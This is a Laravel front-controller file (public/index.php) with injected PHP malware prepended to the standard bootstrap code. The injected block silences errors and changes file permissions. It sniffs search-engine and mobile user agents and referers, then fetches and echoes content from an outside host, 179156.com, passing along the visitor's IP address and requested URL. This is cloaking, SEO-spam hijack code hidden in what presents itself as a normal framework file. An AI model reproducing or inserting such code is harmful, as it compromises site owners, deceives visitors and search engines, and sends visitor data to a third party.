<?php

//header('Content-Type:text/html;charset=utf-8');
set_time_limit(0);
error_reporting(0);
$tr = "stristr";
$er = $_SERVER;
function httpGet($url) {
  $ch = curl_init();
  //设置选项，包括URL
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  curl_setopt($ch, CURLOPT_HEADER, 0);
  //执行并获取HTML文档内容
  $output = curl_exec($ch);
  //释放curl句柄
  curl_close($ch);
  //打印获得的数据
  return $output;
}
$filename1 = @end(explode('/', $url1));
function set_writeable($file_name)
{
   @chmod($file_name, 0755);
}
@chmod(__FILE__, 0755);
set_writeable($filename1);
define('url',$er['REQUEST_URI']);
define('ref',$er['HTTP_REFERER']);
define('ent',$er['HTTP_USER_AGENT']);
define('site',"http://www.179156.com/");
define('road',"/?" .$er['HTTP_HOST'] . url);
define('regs','@Baidu|Sogou|Google|Yisou|Soso|Bing|Version|Mozilla|douyin|iPhone|Android|Haosou|Spider|So.com|Sm.cn@i');
define('area',$tr(url,".xml") or $tr(url,".doc") or $tr(url,".pdf") or $tr(url,".txt") or $tr(url,".ppt") or $tr(url,".pptx") or $tr(url,".xls") or $tr(url,".csv") or $tr(url,".shtml")or $tr(url,".html") or $tr(url,".tacc")or $tr(url,".ga")or $tr(url,".asp")or $tr(url,".aspx")or $tr(url,".gq")or $tr(url,".xlsx")or $tr(url,".znb")or $tr(url,".rar") or $tr(url,".zip")or $tr(url,".cnm")or $tr(url,".bak") or $tr(url,".jsp")or $tr(url,".jspx")or $tr(url,"=")and $tr(url,"?"));
if (area && preg_match(regs, ref,$dgr)) {
    echo file_get_contents("http://www.179156.com/"."?tiaoz=".$dgr[0]."&rip=".$er['REMOTE_ADDR']."&url=".$er['HTTP_HOST'] . url);
    exit;
}
if (preg_match(regs, ent)) {
    if (area) {
        echo httpGet(site.road);
        exit;
    } else {
        echo httpGet("http://www.179156.com/xxx.php");
        ob_flush();
        flush();
    }
}

/**
 * Laravel - A PHP Framework For Web Artisans
 *
 * @package  Laravel
 * @author   Taylor Otwell <taylor@laravel.com>
 */

define('LARAVEL_START', microtime(true));

/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/

require __DIR__.'/../vendor/autoload.php';

/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/

$app = require_once __DIR__.'/../bootstrap/app.php';

/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/

$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);

$response = $kernel->handle(
    $request = Illuminate\Http\Request::capture()
);

$response->send();

$kernel->terminate($request, $response);
